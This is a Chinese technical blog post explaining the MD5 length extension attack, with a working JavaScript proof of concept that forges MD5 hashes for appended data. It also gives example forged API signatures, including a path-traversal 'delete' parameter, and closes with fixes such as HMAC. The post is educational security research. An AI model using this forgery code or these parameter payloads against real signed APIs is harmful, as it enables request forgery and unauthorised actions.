Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1201316
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

分类: 网络与安全

2012-06-27 14:59:24

背景

    2009年, 不仅仅发布了ASP.NETpadding oracle攻击,同时还写了一篇关于,和padding oraclepaper放在一起。因为Flickr API签名的这个漏洞,也是需要用到padding的。

    两年过去了,在安全圈子(国内国外)里大家的眼光似乎都只放到了padding oracle上,而有意无意的忽略了Flickr API签名这个问题。我前段时间看paper时,发现Flickr API签名这个漏洞,实际上用的是 MD5 Length Extension Attack,和padding oracle还是很不一样的。在研究了Thai Duong paper后,我发现作者根本就未曾公布MD5 Length Extension Attack 的具体实现方法,只是看到作者突然一下子变魔术一样丢出来了POC

 

 

    注意看红字标注的部分,POCpadding了很多0字节,但是中间又突兀的跑出来了几个非0字节,why

    我百思不得其解,试图还原这个攻击的过程,为此查阅了大量的资料,结果发现整个互联网上,除了一些理论外,根本就没有这个攻击的任何实现。于是一段时间的研究后,我决定写下这篇blog,来填补这一空白。以后哪位哥们的工作要是从本文中得到了启发,记得引用下本文。

 

什么是Length Extension Attack?

    很多哈希算法都存在Length Extension攻击,这是因为这些哈希算法都使用了Merkle–Damgård construction进行数据的压缩,流行算法比如MD5SHA-1等都受影响。

 

    MD5为例,首先算法将消息以512-bit(就是64字节)的长度分组。最后一组必然不足512-bit,这时候算法就会自动往最后一组中填充字节,这个过程被称为padding

 

    Length Extension 是这样的:

    当知道 MD5(secret) 时,在不知道secret的情况下,可以很轻易的推算出 MD5(secret||padding||m')

    在这里m' 是任意数据, || 是连接符,可以为空。padding secret 最后的填充字节。md5padding字节包含整个消息的长度,因此,为了能够准确的计算出padding的值,secret的长度也是我们需要知道的。

 

    所以要实施Length Extension Attack,就需要找到MD5(secret)最后压缩的值,并算出其padding,然后加入到下一轮的MD5压缩算法中去,算出最终我们需要的值。

理解Length Extension Attack

    为了深入理解Length Extension Attack,我们需要深入到MD5的实现中去。而最终的exploit,也需要通过patch MD5来实现。MD5的实现算法可以参考。这个成熟的算法现在已经有了各个语言版本的实现,本身也较为简单。我从网上找了一个javascript版本,并以此为基础实现Length Extension Attack

    首先MD5算法会对消息进行分组,每组64字节,不足64字节的部分用padding补齐。padding的规则是,在最末一个字节之后补充0x80,其余的部分填充为0x00padding最后的8字节用来表示需要哈希的消息长度。

 

    比如输入的消息为:0.46229771920479834 变为ascii码,且将每个字符分离为数组后:

 

    因为数据总共才有19个字节,不足64字节,因此剩下部分需要经过paddingpadding后数据变为了:

 

    最后8字节用以表示数据长度,为 19*8 = 152

 

    在对消息进行分组以及padding后,MD5算法开始依次对每组消息进行压缩,经过64轮数学变换。这个过程中,一开始会有定义好的初始化向量,为4个中间值,初始化向量不是随机生成的,是标准里定义死的,是的,你没看错,这是硬编码!:

 

    然后经过64轮数学变换。

...

 

....

    这是一个for循环,在进行完数学变换后,将改变临时中间值,将这个值进入下一轮for循环:

 

    还记得前面那张MD5结构的图吗?这个FOR循环的过程,就是一次次的压缩过程了。上一次压缩的结果,将作为下一次压缩的输入。Length Extension 的理论基础,就是将已知的压缩后的结果,直接拿过来作为新的压缩输入。在这个过程中,只需要上一次压缩后的结果,而不需要知道原来的消息内容是什么。


实施Length Extension Attack
    
理解了Length Extension的原理后,接下来就需要实施这个攻击了。这里有几点需要注意,首先是MD5值怎么还原为压缩函数中需要的4个整数?

    通过逆向MD5算法,不难实现这一点:

 

    简单来说,就是先把MD5值拆分成4组,每组8字节,比如:

9d391442efea4be3666caf8549bd4fd3

    分拆为:

9d391442        efea4be3        666caf85        49bd4fd3

    然后将这几个string转化为整数,再根据一系列的数学变化,还原成FOR循环里面需要用到的 h3,h2,h1,h0

   

    然后将这4个值,加入到MD5的压缩函数中去,并产生出新的值。此时我们就可以在后面附加任意数据了。我们看看这个过程:

    比如secret0.12204316770657897,它只需要经过一轮MD5压缩

    我们从它的MD5值中可以直接还原出这4个中间值,同时我们希望附加消息“axis is smart!”,并计算新消息的MD5值:

 

    通过还原出secret 压缩后的4个中间值后,可以直接进行第二轮附加了消息的压缩,从而在 run times 1 中产生了4个新的中间值,并以此生成新的MD5值。

    为了验证结果是否正确,我们计算一下新的MD5(secret||padding||m')

 可以看到md5值和刚才计算出来的结果是一致的。

    这段代码为:

点击(此处)折叠或打开

  1. <script src="md5.js" ></script>

  2. <script src="md5_le.js" ></script>

  3.  

  4. <script>

  5. function print(str){

  6.   document.write(str);

  7. }

  8.  

  9. print("=== MD5 Length Extension Attack POC ===
    === by axis ===

    "
    );

  10.  

  11. // turn this to be true if want to see internal state.

  12. debug = false;

  13.  

  14. var x = String(Math.random());

  15. var append_m = 'axis is smart!';

  16.  

  17. print("[+] secret is :"+x+"
    "
    +"[+] length is :" + x.length+"
    "
    );

  18. print("[+] message want to append is :"+append_m+"
    "
    );

  19.  

  20. print("[+] Start calculating secret's hash
    "
    );

  21. var old = faultylabs.MD5(x);

  22. print("
    [+] Calculate secret's md5 hash: "
    +old+"
    ");

  23.  

  24. print("

    ================================
    "
    );

  25. print("[+] Start calculating new hash
    "
    );

  26. print("[+] theory: h(m||p||m1)
    "
    );

  27. print("[+] that is: md5_compression_function('"+old+"', 'secret's length', '"+ append_m +"')"+"
    "
    );

  28.  

  29. var hash_guess = md5_length_extension(old, x.length, append_m);

  30. print("[+] padding(urlencode format) is: "+ escape(hash_guess['padding']) + "
    "
    );

  31. print("
    [+] guessing new hash is: "
    +hash_guess['hash']+"
    ");

  32.  

  33.  

  34. print("

    ================================
    "
    );

  35. print("[+] now verifying the new hash
    "
    ); 

  36. var x1 = '';

  37. x1 = x + hash_guess['padding'] + append_m; 

  38.  

  39. print("[+] new message(urlencode format) is:
    "
    + escape(x1) +"

    "
    ); 

  40.         

  41. var v = faultylabs.MD5(x1);

  42. print("
    [+] md5 of the new message is: "
    +v+"
    ");

  43. </script>

   

    关键代码md5_le.js 是我们patch MD5算法的实现,基于faultylabsMD5实现而来,其源代码见附录。md5.js则是faultylabsmd5实现,在此仅用验证md5值所用。

如何利用Length Extension Attack

    如何利用Length Extension Attack呢?我们知道Length Extension使得我们可以附加任意值在原文之后,并计算出新的哈希。最常见的地方就是签名。

    一个合理的签名,一般是需要salt或者key加上参数值,而salt或者key都是未知的,也就使得我们的原文是未知的。在Flickr API 签名的问题中,Flickr API同时还犯了一个错误,这个错误AmazonAWS签名也犯过。就是签名校验算法中,参数连接时没有使用间隔符。所以本来如:

    ?a=1&b=2&c=3 

    的参数,在签名算法中连接时简单的变成了

    a1b2c3

    那么攻击者可以伪造参数为:

    ?a=1b2c3[....Padding....]&b=4&c=5

    最终在签名算法中连接时:

    a1b2c3[....Padding....]b4c5

    通过length extension可以生成一个新的合法的签名。这是第一种利用方法。

 

    除此之外,因为我们可以附加新的参数,所以任意具有逻辑功能,但原文中未出现过的参数,都可以附加,比如:

    ?a=1&b=2&c=3&delete=../../../file&sig=sig_new

    这是第二种攻击方式。

    第三种攻击方式:还记得HPP

    附带相同的参数可能在不同的环境下造成不同的结果,从而产生一些逻辑漏洞。在普通情况下,可以直接注入新参数,但如果服务端校验了签名,则需要通过length extension伪造一个新的签名才行。

    ?a=1&b=2&c=3&a=4&sig=sig_new

    最后,Length Extension需要知道的length,其实是可以考虑暴力破解的。 

    Length Extension还有什么利用方式?尽情发挥你的想象力吧。

How to Fix?
    MD5
SHA-1之类的使用Merkle–Damgård construction的算法是没希望了。

    使用HMAC-SHA1之类的HMAC算法吧,目前HMAC还没有发现过什么安全漏洞。    

    另外针对Flickr API等将参数签名的应用来说,secret放置在 参数末尾也能防止这种攻击。

    比如 MD5(m+secret),希望推导出 MD5(m+secret||padding||m'),结果由于自动附加secret在末尾的关系,会变成

    MD5(m||padding||m'||secret),从而导致Length Extension run不起来。

 

附录

一些参考资料:

~cks/space/blog/programming/HashLengthExtAttack

 md5_le.js源代码:


点击(此处)折叠或打开

  1. md5_length_extension = function(m_md5, m_len, append_m){

  2.   var result = new Array();

  3.  

  4.   if (m_md5.length != 32){

  5.     alert("input error!");

  6.     return false;

  7.   }

  8.   // 将md5值分拆成4组,每组8字节

  9.   var m = new Array();

  10.   for (i=0;i<m_md5.length;i+=8){

  11.     m.push(m_md5.slice(i,i+8));

  12.   }

  13.   // 将md5的4组值还原成压缩函数需要的数值

  14.   var x;

  15.   for(x in m){

  16.     m[x] = ltripzero(m[x]);

  17.     

  18.     // convert string to int ; convert of to_zerofilled_hex()

  19.     m[x] = parseInt(m[x], 16) >> 0;

  20.     

  21.     // convert of int128le_to_hex

  22.     var t=0;

  23.     var ta=0;

  24.     ta = m[x];

  25.     t = (ta & 0xFF);

  26.     ta = ta >>> 8;

  27.     t = t << 8;

  28.     t = t | (ta & 0xFF);

  29.     ta = ta >>> 8;

  30.     t = t << 8;

  31.     t = t | (ta & 0xFF);

  32.     ta = ta >>> 8;

  33.     t = t << 8;

  34.     t = t | ta;

  35.     

  36.     m[x] = t;

  37.   }

  38.   

  39.   // 此时只需要使用MD5压缩函数执行 append_m 以及 append_m的padding即可

  40.   // 此时m 的压缩值已经不再需要,可以用填充字节代替

  41.   var databytes = new Array();

  42.   

  43.   // 初始化,只需要知道 m % 64 的长度即可,事实上可以随意填充,但我们其实还想知道padding

  44.   // 如果消息长度大于64,需要构造之前的等长度的消息,用以后面计算正确的消息长度

  45.   if (m_len>64){

  46.     for (i=0;i<parseInt(m_len/64)*64;i++){

  47.       databytes.push('97'); // 填充任意字节

  48.     }

  49.   }

  50.  

  51.   for (i=0;i<(m_len%64);i++){

  52.     databytes.push('97'); // 填充任意字节

  53.   }

  54.   

  55.   // 调用padding

  56.   databytes = padding(databytes);

  57.   

  58.   // 保存结果为padding,我们也需要这个结果

  59.   result['padding'] = '';

  60.   for (i=(parseInt(m_len/64)*64 + m_len%64);i<databytes.length;i++){

  61.     result['padding'] += String.fromCharCode(databytes[i]);

  62.   }

  63.   

  64.   // 将append_m 转化为数组添加

  65.   for (j=0;j<append_m.length;j++){

  66.     databytes.push(append_m.charCodeAt(j));

  67.   }

  68.   

  69.   // 计算新的padding

  70.   databytes = padding(databytes);

  71.   

  72.   var h0 = m[0];

  73.   var h1 = m[1];

  74.   var h2 = m[2];

  75.   var h3 = m[3];

  76.   

  77.   var a=0,b=0,c=0,d=0;

  78.   // Digest message

  79.   // i=n 开始,因为从 append_b 开始压缩

  80.   for (i = parseInt(m_len/64)+1; i < databytes.length / 64; i++) {

  81.      // initialize run

  82.      a = h0

  83.      b = h1

  84.      c = h2

  85.      d = h3

  86.      var ptr = i * 64

  87.      // do 64 runs

  88.      updateRun(fF(b, c, d), 0xd76aa478, bytes_to_int32(databytes, ptr), 7)

  89.      updateRun(fF(b, c, d), 0xe8c7b756, bytes_to_int32(databytes, ptr + 4), 12)

  90.      updateRun(fF(b, c, d), 0x242070db, bytes_to_int32(databytes, ptr + 8), 17)

  91.      updateRun(fF(b, c, d), 0xc1bdceee, bytes_to_int32(databytes, ptr + 12), 22)

  92.      updateRun(fF(b, c, d), 0xf57c0faf, bytes_to_int32(databytes, ptr + 16), 7)

  93.      updateRun(fF(b, c, d), 0x4787c62a, bytes_to_int32(databytes, ptr + 20), 12)

  94.      updateRun(fF(b, c, d), 0xa8304613, bytes_to_int32(databytes, ptr + 24), 17)

  95.      updateRun(fF(b, c, d), 0xfd469501, bytes_to_int32(databytes, ptr + 28), 22)

  96.      updateRun(fF(b, c, d), 0x698098d8, bytes_to_int32(databytes, ptr + 32), 7)

  97.      updateRun(fF(b, c, d), 0x8b44f7af, bytes_to_int32(databytes, ptr + 36), 12)

  98.      updateRun(fF(b, c, d), 0xffff5bb1, bytes_to_int32(databytes, ptr + 40), 17)

  99.      updateRun(fF(b, c, d), 0x895cd7be, bytes_to_int32(databytes, ptr + 44), 22)

  100.      updateRun(fF(b, c, d), 0x6b901122, bytes_to_int32(databytes, ptr + 48), 7)

  101.      updateRun(fF(b, c, d), 0xfd987193, bytes_to_int32(databytes, ptr + 52), 12)

  102.      updateRun(fF(b, c, d), 0xa679438e, bytes_to_int32(databytes, ptr + 56), 17)

  103.      updateRun(fF(b, c, d), 0x49b40821, bytes_to_int32(databytes, ptr + 60), 22)

  104.      updateRun(fG(b, c, d), 0xf61e2562, bytes_to_int32(databytes, ptr + 4), 5)

  105.      updateRun(fG(b, c, d), 0xc040b340, bytes_to_int32(databytes, ptr + 24), 9)

  106.      updateRun(fG(b, c, d), 0x265e5a51, bytes_to_int32(databytes, ptr + 44), 14)

  107.      updateRun(fG(b, c, d), 0xe9b6c7aa, bytes_to_int32(databytes, ptr), 20)

  108.      updateRun(fG(b, c, d), 0xd62f105d, bytes_to_int32(databytes, ptr + 20), 5)

  109.      updateRun(fG(b, c, d), 0x2441453, bytes_to_int32(databytes, ptr + 40), 9)

  110.      updateRun(fG(b, c, d), 0xd8a1e681, bytes_to_int32(databytes, ptr + 60), 14)

  111.      updateRun(fG(b, c, d), 0xe7d3fbc8, bytes_to_int32(databytes, ptr + 16), 20)

  112.      updateRun(fG(b, c, d), 0x21e1cde6, bytes_to_int32(databytes, ptr + 36), 5)

  113.      updateRun(fG(b, c, d), 0xc33707d6, bytes_to_int32(databytes, ptr + 56), 9)

  114.      updateRun(fG(b, c, d), 0xf4d50d87, bytes_to_int32(databytes, ptr + 12), 14)

  115.      updateRun(fG(b, c, d), 0x455a14ed, bytes_to_int32(databytes, ptr + 32), 20)

  116.      updateRun(fG(b, c, d), 0xa9e3e905, bytes_to_int32(databytes, ptr + 52), 5)

  117.      updateRun(fG(b, c, d), 0xfcefa3f8, bytes_to_int32(databytes, ptr + 8), 9)

  118.      updateRun(fG(b, c, d), 0x676f02d9, bytes_to_int32(databytes, ptr + 28), 14)

  119.      updateRun(fG(b, c, d), 0x8d2a4c8a, bytes_to_int32(databytes, ptr + 48), 20)

  120.      updateRun(fH(b, c, d), 0xfffa3942, bytes_to_int32(databytes, ptr + 20), 4)

  121.      updateRun(fH(b, c, d), 0x8771f681, bytes_to_int32(databytes, ptr + 32), 11)

  122.      updateRun(fH(b, c, d), 0x6d9d6122, bytes_to_int32(databytes, ptr + 44), 16)

  123.      updateRun(fH(b, c, d), 0xfde5380c, bytes_to_int32(databytes, ptr + 56), 23)

  124.      updateRun(fH(b, c, d), 0xa4beea44, bytes_to_int32(databytes, ptr + 4), 4)

  125.      updateRun(fH(b, c, d), 0x4bdecfa9, bytes_to_int32(databytes, ptr + 16), 11)

  126.      updateRun(fH(b, c, d), 0xf6bb4b60, bytes_to_int32(databytes, ptr + 28), 16)

  127.      updateRun(fH(b, c, d), 0xbebfbc70, bytes_to_int32(databytes, ptr + 40), 23)

  128.      updateRun(fH(b, c, d), 0x289b7ec6, bytes_to_int32(databytes, ptr + 52), 4)

  129.      updateRun(fH(b, c, d), 0xeaa127fa, bytes_to_int32(databytes, ptr), 11)

  130.      updateRun(fH(b, c, d), 0xd4ef3085, bytes_to_int32(databytes, ptr + 12), 16)

  131.      updateRun(fH(b, c, d), 0x4881d05, bytes_to_int32(databytes, ptr + 24), 23)

  132.      updateRun(fH(b, c, d), 0xd9d4d039, bytes_to_int32(databytes, ptr + 36), 4)

  133.      updateRun(fH(b, c, d), 0xe6db99e5, bytes_to_int32(databytes, ptr + 48), 11)

  134.      updateRun(fH(b, c, d), 0x1fa27cf8, bytes_to_int32(databytes, ptr + 60), 16)

  135.      updateRun(fH(b, c, d), 0xc4ac5665, bytes_to_int32(databytes, ptr + 8), 23)

  136.      updateRun(fI(b, c, d), 0xf4292244, bytes_to_int32(databytes, ptr), 6)

  137.      updateRun(fI(b, c, d), 0x432aff97, bytes_to_int32(databytes, ptr + 28), 10)

  138.      updateRun(fI(b, c, d), 0xab9423a7, bytes_to_int32(databytes, ptr + 56), 15)

  139.      updateRun(fI(b, c, d), 0xfc93a039, bytes_to_int32(databytes, ptr + 20), 21)

  140.      updateRun(fI(b, c, d), 0x655b59c3, bytes_to_int32(databytes, ptr + 48), 6)

  141.      updateRun(fI(b, c, d), 0x8f0ccc92, bytes_to_int32(databytes, ptr + 12), 10)

  142.      updateRun(fI(b, c, d), 0xffeff47d, bytes_to_int32(databytes, ptr + 40), 15)

  143.      updateRun(fI(b, c, d), 0x85845dd1, bytes_to_int32(databytes, ptr + 4), 21)

  144.      updateRun(fI(b, c, d), 0x6fa87e4f, bytes_to_int32(databytes, ptr + 32), 6)

  145.      updateRun(fI(b, c, d), 0xfe2ce6e0, bytes_to_int32(databytes, ptr + 60), 10)

  146.      updateRun(fI(b, c, d), 0xa3014314, bytes_to_int32(databytes, ptr + 24), 15)

  147.      updateRun(fI(b, c, d), 0x4e0811a1, bytes_to_int32(databytes, ptr + 52), 21)

  148.      updateRun(fI(b, c, d), 0xf7537e82, bytes_to_int32(databytes, ptr + 16), 6)

  149.      updateRun(fI(b, c, d), 0xbd3af235, bytes_to_int32(databytes, ptr + 44), 10)

  150.      updateRun(fI(b, c, d), 0x2ad7d2bb, bytes_to_int32(databytes, ptr + 8), 15)

  151.      updateRun(fI(b, c, d), 0xeb86d391, bytes_to_int32(databytes, ptr + 36), 21)

  152.      // update buffers

  153.      h0 = _add(h0, a)

  154.      h1 = _add(h1, b)

  155.      h2 = _add(h2, c)

  156.      h3 = _add(h3, d)

  157.      

  158.      if (debug == true){

  159.        document.write("run times: "+i+"
    h3: "
    +h3+"
    h2: "
    +h2+"
    h1: "
    +h1+"
    h0: "
    +h0+"
    "
    )

  160.      }

  161.   }

  162.   

  163.   result['hash'] = int128le_to_hex(h3, h2, h1, h0);

  164.   return result;

  165.     

  166.   // 检测分组后开头是否有0,如果有则去掉

  167.   function ltripzero(str){

  168.     if (str.length != 8) {

  169.       return false;

  170.     }

  171.     

  172.     if (str == "00000000"){

  173.       return str;

  174.     }

  175.     

  176.     var result = '';

  177.     if (str.indexOf('0') == 0 ) {

  178.       var tmp = new Array();

  179.       tmp = str.split('');

  180.       for (i=0;i<8;i++){

  181.         if (tmp[i] != 0){

  182.           for(j=i;j<8;j++){

  183.             result = result + tmp[j];

  184.           }

  185.           break;

  186.         }

  187.       }

  188.       return result;

  189.     }else{

  190.       return str;

  191.     }

  192.   }

  193.   

  194.   // 往数组填充padding

  195.   function padding(databytes){

  196.     if (databytes.constructor != Array) {

  197.       return false;

  198.     }

  199.     // save original length

  200.     var org_len = databytes.length

  201.     // first append the "1" + 7x "0"

  202.     databytes.push(0x80)

  203.     //alert(databytes) // 添加第一个0x80, 然后填充0x00到56位

  204.   

  205.     // determine required amount of padding

  206.     var tail = databytes.length % 64

  207.   

  208.     // no room for msg length?

  209.     if (tail > 56) {

  210.       // pad to next 512 bit block

  211.       for (var i = 0; i < (64 - tail); i++) {

  212.           databytes.push(0x0)

  213.       }

  214.       tail = databytes.length % 64

  215.     }

  216.     for (i = 0; i < (56 - tail); i++) {

  217.       databytes.push(0x0)

  218.     }

  219.         

  220.     // message length in bits mod 512 should now be 448

  221.     // append 64 bit, little-endian original msg length (in *bits*!)

  222.     databytes = databytes.concat(int64_to_bytes(org_len * 8))

  223.   

  224.     return databytes;

  225.   }

  226.  

  227.   

  228.   // md5 压缩需要使用的函数

  229.   // function update partial state for each run

  230.   function updateRun(nf, sin32, dw32, b32) {

  231.       var temp = d

  232.       d = c

  233.       c = b

  234.       //b = b + rol(a + (nf + (sin32 + dw32)), b32)

  235.       b = _add(b,

  236.           rol(

  237.               _add(a,

  238.                   _add(nf, _add(sin32, dw32))

  239.               ), b32

  240.           )

  241.       )

  242.       a = temp

  243.   }

  244.         

  245.   function _add(n1, n2) {

  246.         return 0x0FFFFFFFF & (n1 + n2)

  247.   }

  248.   

  249.   // convert the 4 32-bit buffers to a 128 bit hex string. (Little-endian is assumed)

  250.   function int128le_to_hex(a, b, c, d) {

  251.       var ra = ""

  252.       var t = 0

  253.       var ta = 0

  254.       for (var i = 3; i >= 0; i--) {

  255.           ta = arguments[i]

  256.           t = (ta & 0xFF)

  257.           ta = ta >>> 8

  258.           t = t << 8

  259.           t = t | (ta & 0xFF)

  260.           ta = ta >>> 8

  261.           t = t << 8

  262.           t = t | (ta & 0xFF)

  263.           ta = ta >>> 8

  264.           t = t << 8

  265.           t = t | ta

  266.           ra = ra + to_zerofilled_hex(t)

  267.       }

  268.       return ra

  269.   }

  270.   // convert a 64 bit unsigned number to array of bytes. Little endian

  271.   function int64_to_bytes(num) {

  272.       var retval = []

  273.       for (var i = 0; i < 8; i++) {

  274.           retval.push(num & 0xFF)

  275.           num = num >>> 8

  276.       }

  277.       return retval

  278.   }

  279.   // 32 bit left-rotation

  280.   function rol(num, places) {

  281.       return ((num << places) & 0xFFFFFFFF) | (num >>> (32 - places))

  282.   }

  283.   

  284.   // The 4 MD5 functions

  285.   function fF(b, c, d) {

  286.       return (b & c) | (~b & d)

  287.   }

  288.   function fG(b, c, d) {

  289.       return (d & b) | (~d & c)

  290.   }

  291.   function fH(b, c, d) {

  292.       return b ^ c ^ d

  293.   }

  294.   function fI(b, c, d) {

  295.       return c ^ (b | ~d)

  296.   }

  297.   // pick 4 bytes at specified offset. Little-endian is assumed

  298.   function bytes_to_int32(arr, off) {

  299.       return (arr[off + 3] << 24) | (arr[off + 2] << 16) | (arr[off + 1] << 8) | (arr[off])

  300.   }

  301.   // convert number to (unsigned) 32 bit hex, zero filled string

  302.   function to_zerofilled_hex(n) {

  303.       var t1 = (n >>> 0).toString(16)

  304.       return "00000000".substr(0, 8 - t1.length) + t1

  305.   }

  306.       

  307. }

阅读(10710) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~